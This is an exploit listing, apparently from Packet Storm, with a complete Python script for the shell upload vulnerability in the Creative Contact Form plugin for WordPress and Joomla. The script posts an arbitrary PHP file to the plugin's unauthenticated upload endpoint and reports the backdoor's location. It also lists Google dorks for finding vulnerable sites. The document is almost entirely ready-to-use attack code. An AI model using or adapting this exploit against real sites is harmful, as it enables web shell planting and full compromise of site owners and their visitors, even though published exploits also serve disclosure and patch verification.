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WordPress / Joomla Creative Contact Form 0.9.7 Shell Upload

🗓️ 23 Oct 2014 00:00:00Reported by Claudio VivianiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

This is an exploit for the Shell Upload vulnerability in WordPress and Joomla Creative Contact Form versions <= 0.9.7 / <= 2.0.0. It includes a python script that allows uploading a malicious payload

Code
`#!/usr/bin/python  
#  
# Exploit Name: Wordpress and Joomla Creative Contact Form Shell Upload Vulnerability  
# Wordpress plugin version: <= 0.9.7  
# Joomla extension version: <= 2.0.0  
#   
# Vulnerability discovered by Gianni Angelozzi  
#  
# Exploit written by Claudio Viviani  
#  
# Dork google wordpress: inurl:inurl:sexy-contact-form  
# Dork google joomla : inurl:com_creativecontactform  
#  
# Tested on BackBox 3.x  
#  
# http connection  
import urllib, urllib2, sys, mimetypes  
# Args management  
import optparse  
# file management  
import os, os.path  
  
# Check url  
def checkurl(url):  
if url[:8] != "https://" and url[:7] != "http://":  
print('[X] You must insert http:// or https:// procotol')  
sys.exit(1)  
else:  
return url  
  
# Check if file exists and has readable  
def checkfile(file):  
if not os.path.isfile(file) and not os.access(file, os.R_OK):  
print '[X] '+file+' file is missing or not readable'  
sys.exit(1)  
else:  
return file  
# Get file's mimetype  
def get_content_type(filename):  
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'  
  
# Create multipart header  
def create_body_sh3ll_upl04d(payloadname):  
  
getfields = dict()  
  
payloadcontent = open(payloadname).read()  
  
LIMIT = '----------lImIt_of_THE_fIle_eW_$'  
CRLF = '\r\n'  
  
L = []  
for (key, value) in getfields.items():  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"' % key)  
L.append('')  
L.append(value)  
  
L.append('--' + LIMIT)  
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname))  
L.append('Content-Type: %s' % get_content_type(payloadname))  
L.append('')  
L.append(payloadcontent)  
L.append('--' + LIMIT + '--')  
L.append('')  
body = CRLF.join(L)  
return body  
  
banner = """  
  
  
___ ___ __ __,-,__   
| Y .-----.----.--| .-----.----.-----.-----. | ' '__|   
|. | | _ | _| _ | _ | _| -__|__ --| | __|   
|. / \ |_____|__| |_____| __|__| |_____|_____| |_______|   
|: | _______ |__| __ |_|   
|::.|:. | | _ .-----.-----.--------| .---.-.   
`--- ---' |___| | _ | _ | | | _ |   
|. | |_____|_____|__|__|__|__|___._|   
|: 1 |   
|::.. . |   
`-------'   
_______ __ __ _______ __ __  
| _ .----.-----.---.-| |_|__.--.--.-----. | _ .-----.-----| |_.---.-.----| |_   
|. 1___| _| -__| _ | _| | | | -__| |. 1___| _ | | _| _ | __| _|   
|. |___|__| |_____|___._|____|__|\___/|_____| |. |___|_____|__|__|____|___._|____|____|   
|: 1 | _______ |: 1 |   
|::.. . | | _ .-----.----.--------. |::.. . |   
`-------' |. 1___| _ | _| | `-------'   
|. __) |_____|__| |__|__|__|   
|: |   
|::.|   
`---'   
  
  
Cr3ative C0nt4ct Form Sh3ll Upl04d  
  
Discovered by:  
  
Gianni Angelozzi  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
"""  
  
commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]')  
commandList.add_option('-t', '--target', action="store",  
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",  
)  
commandList.add_option('-c', '--cms', action="store",  
help="Insert CMS Type: wordpress|joomla",  
)  
commandList.add_option('-f', '--file', action="store",  
help="Insert file name, ex: shell.php",  
)  
commandList.add_option('--timeout', action="store", default=10, type="int",  
help="[Timeout Value] - Default 10",  
)  
  
options, remainder = commandList.parse_args()  
  
# Check args  
if not options.target or not options.file or not options.cms:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
  
payloadname = checkfile(options.file)  
host = checkurl(options.target)  
timeout = options.timeout  
cmstype = options.cms  
  
print(banner)  
  
if options.cms == "wordpress":  
url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php'  
backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/'  
  
elif options.cms == "joomla":  
url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php'  
backdoor_location = host+'/components/com_creativecontactform/fileupload/files/'  
  
else:  
print("[X] -c options require: 'wordpress' or 'joomla'")  
sys.exit(1)  
  
content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'  
  
bodyupload = create_body_sh3ll_upl04d(payloadname)  
  
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',  
'content-type': content_type,  
'content-length': str(len(bodyupload)) }  
  
try:  
req = urllib2.Request(url_sexy_upload, bodyupload, headers)  
response = urllib2.urlopen(req)  
  
if "error" in response.read():  
print("[X] Upload Failed :(")  
else:  
print("[!] Shell Uploaded")  
print("[!] "+backdoor_location+options.file)  
except urllib2.HTTPError as e:  
print("[X] Http Error: "+str(e.code))  
except urllib2.URLError as e:  
print("[X] Connection Error: "+str(e.code))  
`

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